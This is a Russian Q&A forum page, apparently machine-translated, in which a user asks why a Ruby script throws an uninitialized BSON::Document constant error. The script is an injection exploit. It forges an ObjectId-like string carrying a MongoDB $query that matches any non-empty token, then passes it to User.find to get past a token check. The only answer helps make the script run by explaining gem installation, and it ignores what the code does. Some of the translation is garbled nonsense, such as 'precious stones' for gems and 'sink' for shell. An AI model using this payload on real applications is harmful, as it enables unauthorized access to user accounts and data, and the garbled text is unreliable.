Неинициализированная константа BSON::Document

Я пытаюсь выполнить код ruby ​​на Ubuntu 14.04 и при выполнении получения ошибки,

'': неинициализированная константа BSON::Document (NameError)

Код есть,

#!/usr/bin/ruby
require 'uri'
require 'bson'
require 'mongo'
b = BSON::Document.new
b["$query"] = {"token" => {"$gt"=>""}}

payload = b.to_bson[4..-2]
id_ish = ("\n\n" + "a"*24 + "\n\n")

fake_id = "a"*24 +
  "\x02_id\0".unpack('H*')[0] +
  [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
  payload.unpack('H*')[0]

puts URI.encode(fake_id)

User.find fake_id

Я просмотрел документацию BSON Tutorial

Любая идея, что мне здесь не хватает. Любой указатель будет оценен.

1 ответ

Похоже, вы пытаетесь выполнить этот код "в вакууме".

require метод вернется молча false если не удалось. Кроме того, для выполнения кода вам нужно установить соответствующие гемы. Прежде всего, беги

$ gem install bson
$ gem install mongo

в твоей раковине. Теперь повторите попытку с вашим сценарием. Драгоценные камни выше должны заставить все работать хорошо. Если нет, вам нужно настроить среду ruby, есть много уроков по этому вопросу.

Также может быть проблема с системным / локальным ruby ​​(строка hashbang диктует выполнение системного.) Попробуйте удалить эту строку и запустить скрипт с

$ ruby script_name.rb
Другие вопросы по тегам